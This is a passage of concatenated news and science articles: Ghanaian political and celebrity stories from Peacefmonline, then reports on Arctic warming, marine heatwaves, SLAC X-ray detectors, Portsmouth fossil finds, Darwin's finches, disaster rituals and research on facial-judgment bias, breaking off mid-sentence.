difficult for them to enforce the warning as it may not apply to some Presidential hopefuls within the party. Citing the Vice President Dr. Mahamudu Bawumia who has been ticked to lead the party into the 2024 elections, Kwesi Pratt asked if they can indeed disqualify the Vice President should he flout the regulations of no billboards, no campaigns and so forth as issued by the NPP leadership. Speaking on Peace FM's ''Kokrokoo'', he posed some questions to the NPP as food for thought. "It will be difficult to follow the instructions...We all know the Vice President craves for the position. Am I lying? The Vice President also has his duties which he has to concentrate on. A Minister also has his job which he needs to also focus on and shouldn't do anything that will interfere with his work. What about the Vice President? Should the Vice President flout the regulations, can they sack him?" "When making rules and regulations, there should be equality. It should apply to everybody equally. I want to ask, if our Vice President doesn't obey the regulations, will he be dismissed? And if he doesn't follow the rules and regulations and will go scot free, why should the others comply with them?" he queried. Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Ghanaian actress, Martha Ankomah has registered her displeasure over bad governance by the leadership in the country as she compares Ghana to Dubai of United Arab Emirates. In an interview on Accra FM, Martha Ankomah lamented over the fact that Ghana is heavily endowed with mineral resources like oil and others but the country is still not developing and its citizens are poor meanwhile, Dubai who only has oil has been able to develop its country. She laments that if Dubai extracts only oil and has been able to develop its country. And Ghana, God has blessed us with all resources, including oil. And yet, we are poor. Then there is no need for other countries to borrow money from Ghana because it is very worrying. Ghana was gifted with everything on earth, but our problem is leadership. And if our leaders are going to change their mindset and have a love for the country, then Ghana would be a better place to be. I feel sad when I see school children under tress learning and MPs drive in V8 sharing goats, chickens and bicycles during elections she added. The actress critical thinking actress, therefore, pleaded with government officials, especially lawmakers, to prioritise the countrys needs over personal interests. Do something for someone to say this MP worked. He constructed roads, not the MP that did nothing whiles school children are learning under trees. Good name, the Bible says, is better than riches, she said. Source: Eugene Osafo-Nkansah/Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Ghanaian business mogul and chairman of the Angel Group of Companies, Dr Kwaku Oteng, has refuted allegations he is married to over six (6) wives. Dr Kwaku Oteng who stated that he is a devoted Christian has explained that about 98 percent of the news published about him are based on fabrications especially those concerning his family and marital issues. He believes that he has become a target due to his status in society. The wealthy and influential businessman added that people only want to sully one's reputation once one is regarded as a prominent individual. "From time to time, I am sure you come across stories that claim have done this or that. I want to stand here today and inform you that most of these stories about me are not true, they are fabricated. Every prominent man is hated for nothing. "People go about claiming that Director (Dr Kwaku Oteng) has 5 to 6 wives, it is never true. I beg you, just 2% of the things I'm accused of can be true. About 98% are not true, I beg you. Just remember that people only talk about those who are popular," said Dr Oteng in a viral clip. He furthered: "Nobody talks about you when you are an ordinary man. Take a look at the young man surrounding me. We are all not perfect but once it is about me, they will talk about it. I can't even do a quarter of what these young men do but every day, Dr Kwaku Oteng is being called out for various allegations." It would be recalled that the businessman in an interview with Vaultz Magazine in August this year posited that there is more blessing in keeping multiple wives than side chicks. "A lot of men in this country who are married have girlfriends or concubines in their numbers. But those of us who are courageous are the ones who bring in the ladies as second or third wives. Some of the men even go to the extent of hiding their biological children because they are born out of wedlock but I dont do that. For me, when I father a child with a woman, I make it public for all to see. I have experienced that ordeal in the past and so I dont want that child to go through the same. "Theres nowhere in the word of God that its written that a man should marry one wife. So, its not a sin. Moreover, everyone who marries more than one wife experiences Gods blessings because you are catering to the needs of Gods creation. You are taking care of the needs of the woman and her Gods and all these people are Gods creation. So, marrying two or more wives is not a sin," he was quoted to have said in a report by mynewsgh.com. VIDEO- Source: ghanaweb.con Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Community members from Utqiagvik, Alaska, look to open water from the edge of shorefast sea ice. Credit: Matthew Druckenmiller The Arctic has long been portrayed as a distant end-of-the-Earth place, disconnected from everyday common experience. But as the planet rapidly warms, what happens in this icy region, where temperatures are rising twice as fast as the rest of the globe, increasingly affects lives around the world. On Dec. 14, 2021, a team of 111 scientists from 12 countries released the 16th annual Arctic Report Card, a yearly update on the state of the Arctic system. We are Arctic scientists and the editors of this peer-reviewed assessment. In the report, we take a diverse look across the region's interconnected physical, ecological and human components. Like an annual checkup with a physician, the report assesses the Arctic's vital signsincluding surface air temperatures, sea surface temperatures, sea ice, snow cover, the Greenland ice sheet, greening of the tundra, and photosynthesis rates by ocean algaewhile inquiring into other indicators of health and emerging factors that shed light on the trajectory of Arctic changes. As the report describes, rapid and pronounced human-caused warming continues to drive most of the changes, and ultimately is paving the way for disruptions that affect ecosystems and communities far and wide. Continued loss of ice Arctic Sea icea central vital sign and one of the most iconic indicators of global climate changeis continuing to shrink under warming temperatures. A closer look at the 2021 Arctic Report Card. Including data from 2021, 15 of the lowest summer sea ice extentsthe point when the ice is at its minimum reach for the yearhave all occurred in the last 15 years, within a record dating back to 1979 when satellites began regularly monitoring the region. The sea ice is also thinning at an alarming rate as the Arctic's oldest and thickest multi-year ice disappears. This loss of sea ice diminishes the Arctic's ability to cool the global climate. It can also alter lower latitude weather systems to an extent that makes previously rare and impactful weather events, like droughts, heat waves and extreme winter storms, more likely. Similarly, the persistent melting of the Greenland ice sheet and other land-based ice is raising seas worldwide, exacerbating the severity and exposure to coastal flooding, disruptions to drinking and waste water systems, and coastal erosion for more communities around the planet. A warmer, wetter Arctic This transition from ice to water and its effects are evident across the Arctic system. The eight major Arctic rivers are discharging more freshwater into the Arctic Ocean, reflecting an Arctic-wide increase in water coming from land as a result of precipitation, permafrost thaw and ice melt. Remarkably, the summit of the Greenland ice sheetover 10,000 feet above sea levelexperienced its first-ever observed rainfall during summer 2021. Credit: NOAA Climate.gov/NSIDC These developments point to a changed and more variable Arctic today. They also give credence to new modeling studies that show the potential for the Arctic to transition from a snow-dominated to rain-dominated system in summer and autumn by the time global temperatures rise to only 1.5 degrees Celisus (2.7 F) above pre-industrial times. The world has already warmed by 1.2 C (2.2 F). Such a shift to more rain and less snow would further transform landscapes, fueling faster glacier retreat and permafrost loss. The thaw of permafrost not only affects ecosystems but also further adds to climate warming by allowing previously once-frozen plant and animal remains to decompose, releasing additional greenhouse gases to the atmosphere. This year's report highlights how retreating glaciers and deteriorating permafrost are also posing growing threats to human life through abrupt and localized flooding and landslides. It urges coordinated international efforts to identify these hazards. More rain in the Arctic will further multiply these threats. Rising human impact Observed changes and disruptions in the Arctic have bearing on everyday lives and actions worldwide, either directly or as stark reminders of a range of human-caused harm to climate and ecosystems. An Arctic Report Card essay on beavers expanding northward into Arctic tundra to exploit newly favorable conditions is a case study for how species around the world are on the move as habitats respond to climate shifts, and the need for new forms of collaborative monitoring to assess the scale of the resulting ecological transformations. Credit: NOAA Climate.gov/CS ERA5 An essay on marine garbage from shipping washing ashore on the Bering Sea coast, posing an immediate threat to food security in the region, reminds us that the threat of both micro- and macro-plastics in our oceans is a preeminent challenge of our time. A report on shipping noise increasingly infiltrating the Arctic's underwater marine soundscape, to the detriment of marine mammals, is a call to conserve the integrity of natural soundscapes worldwide. For example, a recent unrelated study found that noise caused by human activities and biodiversity loss are deteriorating the spring songbird soundscapes in North America and Europe. Yet, an Arctic Report Card essay from members of the Indigenous Foods Knowledges Network highlights how, despite the continued climate threats to Arctic food systems, Alaska Indigenous communities weathered early pandemic disruptions to food security through their cultural values for sharing and "community-first" approaches. Their cooperation and ability to adapt offer an important lesson for similarly struggling communities worldwide, while reminding everyone that the Arctic itself is a homeland; a place where large-scale disruptions are not new to its over 1 million Indigenous Peoples, and where solutions have long been found in practices of reciprocity. An Arctic connected to the rest of the world The Arctic Report Card compiles observations from across the circumpolar North, analyzing them within a polar projection of our planet. This puts the Arctic at the center, with all meridians extending outward to the rest of the world. Some of the Arctic events of 2021 discussed in the Arctic Report Card. Credit: NOAA Climate.gov In this view, the Arctic is tethered to societies worldwide through a myriad of exchangesthe natural circulation of air, ocean and contaminants, the migration of animals and invasive species, as well as human-driven transport of people, pollution, goods and natural resources. The warming of the Arctic is also allowing for greater marine access as sea ice loss permits ships to move deeper into Arctic waters and for longer periods of time. These realities illuminate the importance for increased international cooperation in conservation, hazard mitigation and scientific research. The Arctic has already undergone unprecedented rapid environmental and social changes. A warmer and more accessible Arctic results in a world only tethered more tightly together. This article is republished from The Conversation under a Creative Commons license. Read the original article. Credit: CC0 Public Domain While much is known about extreme weather events on land, there has been little research into those that occur in the ocean. A study led by ETH Zurich uses models to show for the first time that marine heatwaves, and extremes with high acidity or low oxygen can also occur conjointlywith difficult to foresee consequences for marine life. Anthropogenic climate change is becoming increasingly noticeable in Switzerland, most recently during the summer of 2021, which was marked by heavy rains and flooding. It has long been known that global warming is causing not only longer and more intense heatwaves, but also, depending on the region, more severe droughts, rains and storms. Moreover, these kinds of extreme weather events increasingly occur in combination, compounding each other. However, there has been little research into how extreme events develop in the world's oceans. Beginning in the early 2000s, the first scientific studies pointed out the significance of marine heatwaves and their impact on ecosystems. A wake-up call came in 2011 in the form of a persistent marine heatwave off the west coast of Australia that destroyed the species-rich kelp forests there. Probably the most prominent example of a marine heatwave is the "Blob," as it is knowna giant bubble of warm water that spread in the northeast Pacific Ocean and along the US West Coast from Alaska to the equator from 2013 to 2015. It killed millions of marine birds, fish and other creatures. Researchers at ETH Zurich, the University of Bern and the University of Tasmania used a high-resolution ocean model to analyze this extreme weather event from a new perspective. Led by Nicolas Gruber, Professor of Environmental Physics at ETH Zurich, the international team concluded that it was not solely the high water temperatures that caused the mass die-off, but probably a combination of extreme events that occurred simultaneously. A combination of extreme events is particularly dangerous The researchers used their model to reconstruct the Blob's development over time, and in doing so, they analyzed for the first time the combination of temperature, acidity and oxygen concentration of the ocean water. Their simulations show that at the peak of the heatwave in July 2015, extremes in acidity and low oxygen had also spread extensively throughout the affected region in the northeast Pacific. From this, the ETH researchers concluded that what occurred off the coasts of Oregon, Washington and British Columbia was not merely a heatwave but a compound extreme event. "When marine life is confronted with multiple stressors at once, it has difficulty acclimatizing," Gruber says. "For a fish species that's already living at the upper end of its optimal temperature range, an added oxygen deficiency can mean death." That's why, in their studywhich was just published in the journal Naturethe researchers called on the scientific community to pay greater attention to compound extreme events in the ocean. "To assess the risks of these kinds of events, we urgently need to study the chain of different environmental factors leading to such extremes more closelyand not only in individual regions, but also at the global level," Gruber says. Global distribution analyzed for the first time The authors of this study have already taken a first step in this direction. In addition to the Blob, they used a global climate model to investigate where and how often extreme eventsseparated into heatwaves and situations involving anomalously high acidity and low oxygenoccur, and how severe they are. To demonstrate the impact of climate change, the researchers simulated the extreme events for the period from 1861 to 2020 and compared the current situation with pre-industrial times. The results speak for themselves: Globally, the number of hot days on the ocean surface each year has increased tenfold, from around 4 days to 40. The number of days on which the ocean depths are characterized by anomalously low oxygen has increased fivefold. With regard to acidity extremes, the situation is even graver. Compared with pre-industrial times, what has now established itself is almost a permanent extreme situation. "This shows how far climate change has already advanced in the ocean," says Thomas Frolicher, Professor at the University of Bern and co-author of the study. The researchers also show on a world map which ocean regions see the most intense extreme eventsboth at the ocean surface and 200 meters below it. The spatial resolution of these events within the water column is important because this further limits the possibilities for the affected marine life to escape, as the study's authors highlight. We still know far too little about marine species communities The researchers cannot assess the ecological consequences of extreme events in detail, but one thing is clear: Compared with climate change, which progresses slowly, the effect of extremes on ocean life is generally stronger. The sudden occurrence of environmental changes makes many kinds of adaptation strategies impossible. Current model simulations can replicate the response of these ecosystems to extremes only to a limited extentthey cannot yet do justice to the complexity of biological and ecological processes. "For example, our models are still extremely limited in their ability to distinguish between different groups of algae and zooplankton," says Meike Vogt, a senior researcher in Gruber's group. But this differentiation is important, as different species differ greatly in their ability to withstand extremes. "We know from Swiss forests that beech trees are less drought-tolerant than, for instance, pines," Gruber says. By contrast, far too little is known at present about the marine ecosystems. "We lack broad understanding of the ecosystem structure and function in the various ocean regions. Only when we have this foundation will we be able determine the impact of climate change and extremes," Vogt says. But there's no doubt about this: If climate change continues, extreme events will increaseindividually and in combination with others. A better data basis and extensive research work would pave the way for more suitable action to protect the ocean. "Much like there are already international protected areas on the high seas, we could, for example, establish a fishing ban to protect areas affected by extreme events," Gruber says. This has already been done in the case of the Blob. However, a fishing ban alone will hardly be enough; further measures are urgently needed, emphasizes the ETH professor. "Time is short." Explore further 'Fingerprints' of extreme weather revealed by new statistical approach More information: Nicolas Gruber et al, Biogeochemical extremes and compound events in the ocean, Nature (2021). Journal information: Nature Nicolas Gruber et al, Biogeochemical extremes and compound events in the ocean,(2021). DOI: 10.1038/s41586-021-03981-7 SLACs Chris Kenney holds a 16-module, 2.2-megapixel ePix10k X-ray camera. Credit: Jacqueline Ramseyer Orrell/SLAC National Accelerator Laboratory When the Department of Energy's SLAC National Accelerator Laboratory turned on the world's first hard X-ray free-electron laser in 2009, it marked the beginning of a new era in scienceone where researchers could directly observe the ultrafast motions of atoms in real time and study how those motions affect the properties of materials and fundamental processes in chemistry and biology. But the new machine, called the Linac Coherent Light Source (LCLS), also required a new breed of detectors that could handle the X-ray laser's intense radiation and that were fast, stable and flexible enough to support a host of newly developed experiments. That's when the idea for ePix was borna new line of exceptionally versatile detectors that would soon become the workhorse for ultrafast X-ray experiments at LCLS. "The choice was to either develop multiple detectors, each designed for a specific experiment, or to come up with a new detector platform that uses standardized components that we could mix and match to build all kinds of detectors with specific functionality," said Angelo Dragone, SLAC's program director of Detector R&D and Applied Microelectronics. Today, that building-block approach is the centerpiece of SLAC's vision for next-generation detectors that can keep pace with ever more demanding experiments at the lab, most notably with an LCLS upgrade that will be 10,000 brighter and will fire 8,000 times faster than its predecessor. This year, ePix X-ray detectors were also named a finalist for the prestigious R&D 100 Awards. "This is a great recognition of all the hard work put in by the team for many years," Dragone said. "The ePix technology is a whole design philosophy, a new concept of building high-performance detectors that can be adapted for many uses. It's rewarding to see that this approach has paid off." A modular detector design for a novel X-ray source In essence, all ePix detectors consist of a shared set of building blocks: X-ray sensors, application-specific integrated circuits (ASICs) that define detector functionality, electronics to read out signals, software to collect the data, cooling systems and mechanical housings. These common components have standardized interfaces and can be put together into individual detector tiles with different functionalities. These tiles can be further combined to build larger detectors. Unlike the X-ray detectors scientists had before, ePix detectors are fast enough for LCLS's rapid sequence of ultrashort pulses, sensitive enough to capture both single photons and the full intensity of the X-ray beam, and stable enough to perform well over long periods of time. SLACs Angelo Dragone shows a silicon wafer containing about 50 ePixHR core application-specific integrated circuits, or ASICs. They are the first generation of high-rate readout chips for detectors at the labs next-generation X-ray laser, LCLS-II. Credit: Jacqueline Ramseyer Orrell/SLAC National Accelerator Laboratory "What's key here is that the components talk the same language, so we can put them together in multiple ways very easily," said SLAC senior staff scientist Chris Kenney, who has partnered with Dragone on driving ePix development at the lab since the beginning. "But while various detectors share a common architecture, they are tailored to the needs of the specific experiment they are used in." Enabling top-notch X-ray science at SLAC and elsewhere Today, about 85% of LCLS experiments rely on ePix detectors. Over the last year, LCLS produced over a petabyte, or a trillion bytes, of user dataalmost half of which were recorded using ePix detectors. "Those detectors are a very powerful technology platform that is absolutely critical for our success," said Bob Schoenlein, LCLS deputy director for science. "It was a major advance when it was first introduced, and it has been pushing the state of the art of the science we can do ever since, allowing us to collect high-fidelity data that reveal in never-before-seen detail how atomic motions affect important processes in the world around us." The first of the detectors was ePix100, which has ultra-low noise for the detection of faint signals and a small pixel size of 50 microns for high-resolution X-ray images. Over the years, the detector developers added many other ePix variants. Most recently, the detector designers deployed ePix10k, which can take almost 10 times more X-ray images per second than previous generations, is three times more sensitive and is available with up to 2 megapixels. Another version, ePixS, is especially well suited for spectroscopy applications that analyze X-ray light with very small differences in wavelengths, or "color." Researchers at the Advanced Photon Source at DOE's Argonne National Laboratory and at the European XFEL in Germany are also using the technology, and other X-ray facilities in the world may follow. Rayonix, a company that develops X-ray detectors for research, has begun commercializing the technology, which will help make it more widely available. Preparing for the future of X-ray science Meanwhile, the SLAC team is already concentrating on the next challenge: Next year, the lab will turn on LCLS-II, which will fire up to a million X-ray pulses per second and generate a beam 10,000 times brighter than that of the first-generation X-ray laser. "LCLS-II will produce data at such a high rate that we can't physically read out and store all the information from the detector anymore," Dragone said. He and his colleagues are therefore developing ePix versions that handle data differently. Four units of the ePix10k camera used for X-ray science at SLACs Linac Coherent Light Source (LCLS) and facilities worldwide. The ePix technology was a 2021 finalist for the prestigious R&D 100 Awards. Credit: Christopher Kenney/SLAC National Accelerator Laboratory One path forward is a line of detectors for extremely high rates of unprocessed data, called ePixHR. An advanced LCLS-II data acquisition system will compress data from these detectors without affecting the quality of the subsequent analysis. That's somewhat similar to producing a high-quality JPEG from a raw image that contains much more data. The team already has produced a prototype that can handle 5,000 images per second, and future versions will boost that number to 25,000 and eventually 100,000 images per second. Another approach, called SparkPix, will allow researchers to take images at the same high rate that LCLS-II generates X-ray flashes. It takes advantage of the fact that not all data collected by the detector are equally important. Often only a few frames in a string of images contain actual X-ray signals, and some techniques only use a few pixels of a large image for the data analysis, so there is no need to read out and store everything all the time. SparkPix will process such data right inside the detector and extract only the information needed. "These new developments will allow us to pursue the most ambitious scientific goals for LCLS-II," Schoenlein said. "But it's not only that. These detectors also create unforeseen capabilities that prompt our scientists to think about completely new types of experiments that make use of them." A holistic strategy for the lab's data challenges Extremely high data rates coming out of LCLS-II are only one of the data challenges SLAC scientists will face over the coming years. Future surveys in cosmology, including Rubin Observatory's Legacy Survey of Space and Time and a next-generation analysis of the cosmic microwave background, and in particle physics, such as with the high-luminosity upgrade of the Large Hadron Collider at CERN, will produce gigantic data volumes that demand new approaches to how data are recorded, analyzed and managed. Traditionally, SLAC researchers and engineers in one discipline would mostly design and build detectors independently of what their peers working in other fields were doing. But recently, many of the designers have come together in the lab's Technology Innovation Directorate (TID) to build the science tools of the future. "The challenges we're facing are very similar across the lab, so we can best serve science when we team up and choose an integrated approach for the development of data acquisition, computing and detectors," Dragone said. For instance, although detectors for X-rays and fundamental particles look for different signals, they use a similar set of components and often demand comparable specifications, such as fast timing, small pixels and high resolution. Having a common strategy for detector development optimizes R&D in both areas, and technical breakthroughs in one field can lead to solutions in the other. The ePix detector program, which over the past decade involved several dozen people from various SLAC directorates and divisions, is a good example of successful strategic collaboration, Dragone said: "What started with a focus on the detector needs of our state-of-the-art X-ray light sources has now become a model in TID for the development of versatile detectors for other mission areas at the lab." Explore further Detectors for a new era of ATLAS physics Hamzah inspecting a crocodile leg bone and a piece of turtle. Credit: University of Portsmouth A group of students who headed to the beach last year for some fresh air amid the gloom of the pandemic, chanced upon a crocodile bone in the old seawall that led to the discovery of other fossils. The University of Portsmouth students have since discovered five turtle bones, six crocodile teeth and some other unidentifiable bones over the past year. They are convinced there are still more to be revealed. Second year palaeontology student, Hamzah Imran, says that "my friends and I were at the beach when I noticed a rock with a thick black line. I've spent years fossil hunting and thought it must be a bone of some sort. "We started hitting it with rocks at firsta rather Neanderthal attempt to free it, but then decided to return later that day with chisels and hammers. After four hours, we managed to break out the bone, but it was actually the rest of the rock that made us scream with excitementthere was a crocodile leg bone at the other end." The students' finds almost certainly came from Dorset, but crocodiles likely lived along the entire southern coast of Britain 140 million years ago in swamps and lagoons. The group of friends sought permission from the council to break out other fossils and have since found numerous other specimens. Hamzah said that they've "visited the same part of the beach again and again, and have found turtle shells, crocodile teeth, crocodile bones, fish bones, fish teeth and bits of random isolated bones I've never seen before." "One of our best finds was the shoulder blade and shell of a turtle as well as other turtle limbs." The fossils were found on Southsea beach opposite the Portsmouth Naval Memorial between Clarence Pier and Southsea Castle, where new sea defenses are being installed. Hamzah approached his Professor, David Martill, from the School of the Environment, Geography and Geosciences, to help verify some of the finds. Professor Martill says that he thinks "the old seawall building blocks that are being uprooted have come from the Isle of Purbeck, Dorset, which means the fossils would be from around 145 million years ago." "These limestone rocks were probably exposed in Durlston Bay, a fossil-rich bay on the Isle of Purbeck Dorset, and then used for the original seawall. These rocks make excellent walling and kern stones and were used widely for our streets and sea defenses. That is how these crocodiles came to be in Portsmouth. "The crocodiles back then will have been more dominant on land than in the ocean, so they would have been roaming around with dinosaurs, turtles and pterosaurs in an ecosystem sprawling with swamps and lagoons." Explore further Prehistoric crocodile fossil discovered in New Mexico Darwin's Finch chick in nest on the Galapagos Islands. Credit: A Katsis, Flinders University Spending time with offspring is beneficial to development, but it's proving lifesaving to Galapagos Islands Darwin's finches studied by Flinders University experts. A new study, published in Proceedings of the Royal Society B, has found evidence Darwin's finch females that spend longer inside the nest can ward off deadly larvae of the introduced avian vampire fly, which otherwise enter and consume the growing chicks. The maternal buffer is a life-saver, according to the research, especially during the first days after hatching, when chicks are blind, helpless and cannot preen. Although older offspring still have to contend with the larvae, they are better able to preen themselves, and may dislodge and occasionally eat some of them. "The pair male is also essential for success of the chicks. If he feeds the offspring a lot, the mother can remain inside the nest for longer," says Flinders University Professor Sonia Kleindorfer, who is also affiliated with the University of Vienna. "Timing is everything. The female must forgo foraging herself, and her persistence is strongly influenced by good food provisioning of her offspring by the male." The unintentionally introduced avian vampire fly, an invasive species on the Galapagos Islands, enters Darwin's finch nests when attending parents are absent. The 17 Darwin's finch species on the Galapagos Islands are a textbook example of a rapid adaptive radiation: each species has a unique beak shape suited to extract resources from a different ecological niche. However, since being first observed in Darwin's finch nests in 1997, the avian vampire fly has been parasitising nestlings and changing the beak and behaviour of its Darwin's finch hosts. The fly lays eggs that hatch into larvae that feed on the developing chicks, killing most chicks and causing beak deformation in the survivors. "What we show in this publication is that longer female in-nest attendance of chicks predicts the number of parasites in the nest," says Professor Kleindorfer. "The new research findings are significant because they show that 'just being there' can be a form of front-line defence against threats to offspring survival." British naturalist Charles Darwin's theory of evolution by natural selection was developed while observing plants and animals in various environments, including the Galapagos Islands, where in 1835 he noted the rich diversity of endemic plants, birds and reptiles. Avian vampire fly larvae More images and video at https://bit.ly/3DOwunK (all courtesy Dr Andrew Katsis, Flinders University). Credit: A Katsis, Flinders University Female Darwin's finches provide much longer in-nest care to young offspring than males, and presence inside the nest is needed to fend off parasites. For this reason, females themselves may incur higher survival costs as they attempt to save their offspring. Monitoring survivorship of female birds is often more difficult than for males since male Darwin's finches produce a loud advertisement song but females to not. Usually we think of active defending males as contributing more to offspring survival than females that incubate eggs or brood young chicks, adds Flinders University researcher Dr. Andrew Katsis. "We know from long-term monitoring of Darwin's finches, from recapture and resighting data since 2000, that annual survivorship in females is much lower than in males, and over 50% of male Darwin's finches sing at the nest but don't attract a female," he says. "Combined, these factors suggest that higher female mortality, and higher parental care costs carried by females, may be a contributing factor." High-quality females that can sustain longer in-nest parental care with less feeding opportunity for themselves, paired with males that increase feeding to the offspring, have better chances to produce offspring in a vampire fly-dominated environment, the research concludes. "Control measures are urgently needed to save Darwin's finches from extinction," the scientists say in another new publication in Birds. They found only 10.4% of the critically endangered Medium Tree Finch nests produced young on Floreana Island, and the rest were killed by either predators or the parasites. The new article, "Female in-nest attendance predicts the number of ectoparasites in Darwin's finch species" by Sonia Kleindorfer, Lauren K Common, Jody A O'Connor, Jefferson Garcia-Loor, Andrew C Katsis, Rachael Y Dudaniec, Diane Colombelli-Negrel and Nico M Adreani has been published in Proceedings of the Royal Society B: Biological Sciences. See also "Nesting Success and Nesting Height in the Critically Endangered Medium Tree Finch (Camarhynchus pauper)" by Sonia Kleindorfer, Lauren K Common and Petra Sumasgutner published in Birds. Explore further How Galapagos finches evade a parasitic fly Credit: Peeters Publishers Whether it's the tsunami in Japan, the MH17, Bali bombings, Breivik's massacre, or corona, rituals have been devised for disasters worldwide since time immemorial to commemorate the victims. Martin Hoondert, of the Tilburg School of Humanities and Digital Sciences, one of the compilers of the just-published "Handbook of Disaster Ritual," collected stories of rituals, their history and their function with a team of international scholars. Emeritus Professor of Rituals Paul Post took the initiative for the book, which is a triptych with a multidisciplinary section, including case studies and analysis. "We boldly put it down as a handbook, because many administrators don't think about rituals, while people immediately ask for them after disasters and also start ritually marking the site of a disaster. The Handbook not only provides a framework for further research, but also for policy on rituals after disasters." One of the most impressive rituals, in Hoondert's opinion, is that in Namibia, of the commemoration of the mass murder committed by the German colonists at the beginning of the last century. Germany apologized and offered compensation a few years ago. "It may seem strange to us, but the Herero walked a memorial march, donning brown uniforms of the German army. It's a reverse symbolism: that uniform is me. That was their way of dealing with the past. Another thing I appreciated was the art exhibition in Venice where a wreck of a rubber refugee boat was on display. Barca Nostra, our boat, it was called. Again, the symbolism was very strong, what do we really know about the crisis, about how people perish while fleeing? This boat made a whole journey from Africa, to Europe, to the Venice Biennale, becoming a collective monument." What exactly do rituals do? First of all, rituals have no use. You don't buy anything for them. But we also can't live without them. People can't bear to put loved ones in the ground just like that. Rituals are necessary to deal with grief, to make suffering and victims visible, to acknowledge them. And they also sometimes function as a request for help and a form of protest. When I look at the protests of young people at climate demonstrations, you see ritual acting against danger. Commemorations often include monuments, symbols of what people need to know, of staying informed, and not allowing to forget. The Holocaust museum, or monuments in Rwanda or Srebrenica, aim to remind us never to let these genocides happen again. Yet rituals are culture-specific. In Bali, for example, in 2002, during the commemoration of the bombings, there was no remembrance, but rather praise for the beauty and future of the island. Mentioning the disaster could evoke a new one. You research funerals and now disasters and rituals, heavy topics all, with a lot of human, personal suffering, does that affect you personally? My next research project is about divorces, not a happy subject either. But these are subjects that matter, they concern death, which of course occupies people. Furthermore, we are in the middle of so-called slow disasters, such as corona and global warming, subjects surrounding death that demand answers. If done properly, rituals can offer comfort and help, and if I can contribute to processing them, I am happy to do so. I am now supervising, together with a colleague, a Ph.D. project in Rwanda. I am amazed at how the hatred between the various population groups grew, but also how people got over it. Of course I am involved in what people are going through, for example the contacts in Sebrenica affect me enormously. I also realize that I live at a distance and that these people are right in the middle of it. I follow a Bosnian woman who made a play with a Dutchbatter, she was so brave, it may sound pathetic, but my heart goes out to those people. Of course that keeps me busy, you're involved, you can't help it. And I like to translate my research into practice. They may be drops in the ocean, but I did research in Sebrenica on an exhibition about the massacre and was able to give advice to the board of this memorial site to take more account of the many schoolchildren who visit when setting up the exhibition. Sometimes it is enough for me to listen to these people. I interviewed a survivor, she thanked me, that I pay attention to this case so that it is not forgotten. So that applies not only to individuals but also to collective thinking; that a people is seen and heard. How have rituals developed? In the last 10 years, there has been a very clear shift from the ecclesiastical domain to the secular, although the latter still includes many religious elements, think of candle burning and processions that translate into silent marches. What strikes me is that rituals are becoming less linguistic, in fact the action aspect has increased. Less words and speeches, more action, marches, monuments at the locations involved so that a connection is made between past and present. Explore further Marriage or not? Rituals help dating couples decide relationship future Credit: Pixabay/CC0 Public Domain When we encounter an unfamiliar face, we tend to make snap judgments. Does the person look smart, attractive, or young? Are they trustworthy or corrupt? Neuroscientists and psychologists study how our brains form these facial biases, and how the judgments ultimately influence the way people behave. "We tend to be quite confident in the judgments we make based on people's faces, but we're often wrong," says Ralph Adolphs (Ph.D. '93), Bren Professor of Psychology, Neuroscience, and Biology and an affiliated faculty member of the Tianqiao and Chrissy Chen Institute for Neuroscience. Previous studies have linked these stereotypes and judgments to the decisions people make in various aspects of society, including elections, hiring practices, and court sentencing by juries. For instance, a Caltech study from Adolphs and Mike Alvarez, a political science professor, showed that people judged politicians to be more corrupt if they had wider faces, and that, in this case, these judgments coincided with whether the politicians had been convicted of corruption in real life. "Very important social decisions are influenced by the snap judgments that we make about people from their faces," says Adolphs. "By pointing out these biases, we hope that we can reduce their impact." In one recent study in the journal Nature Communications, Adolphs and his team, led by former Caltech graduate student Chujun Lin, now a postdoctoral fellow at Dartmouth College, looked at how facial biases can be broken down into primary judgments. In the same way that the multifaceted colors of a painting can be derived from the primary colors of red, yellow, and blue, our brains blend primary judgments together to create an array of perceptions about everything from how kind a person is to their levels of aggression. The results showed that the study participants, which included people from seven different regions around the world, automatically made four primary judgments when encountering a new face (regardless of whether the judgments were accurate or not): they assessed whether a person is warm or cold, competent or incompetent, feminine or masculine, and young or old. All other judgments people may make can be derived from a mix of these four primary judgments. "These four primary judgments underlie the biases we hold when forming a wide range of impressions of others based on faces, which could be targeted efficiently for anti-bias interventions," Lin explains. Challenges to studying bias Adolphs notes there are limits to this particular study and many others like it. Here, the researchers used existing databases, which are largely comprised of white faces with neutral expressions. "Most of the databases for these types of studies were constructed years ago, and even decades ago," says Adolphs. "There typically are photos of people readily available to the investigators, but the photos certainly do not represent the world's population." For their initial analysis, Adolphs and his team chose to limit the stimuli to white faces with neutral expressions because this allowed them to exclude other factors such as context and race. The team is working on a follow-up project that brings in more diverse faces, including faces of different races that exhibit a broader range of expressions. "Representing the diversity of a general world population is a big challenge in our field," says Adolphs. A seminal University of British Columbia study on the issue, says Adolphs, introduced a term known as WEIRD, for Western, Educated, Industrialized, Rich, and Democratic societies. WEIRD refers to populations of people typically studied in psychology and social science. As the article points out, "this particularly thin, and rather unusual, slice of humanity," is one of the "least representative populations one could find for generalizing about humans." "For a lot our studies, we don't recruit students for this reason," says Adolphs. "They are convenient, but they are of course not a representative demographic subsection of the world's population. Often, we try to recruit people from the community who are more diverse." The future: Bias in AI In another recent study from Adolphs' group, led by Caltech postdoc Umit Keles and published in the journal Affective Science, the researchers looked at the question of whether artificial intelligence (AI) methods can be trained to predict how individuals will react to people's faces. They found machine-based methods could make surprisingly accurate predictions, but sometimes came up with wrong answers. "A round face might look baby faced and kind, but also corrupt, depending on the details. Because the features in faces are so closely related to one another, you can get many kinds of misjudgments from these algorithms," says Keles. "There is a worrisome potential for misuse of these AI methods." This past summer, a Summer Undergraduate Research Fellowship (SURF) student in Adolphs' lab, Leena Mathur, worked on a project that examined how AI models might be trained to perceive human emotions across cultures. She used videos of people talking to each other from a database created by 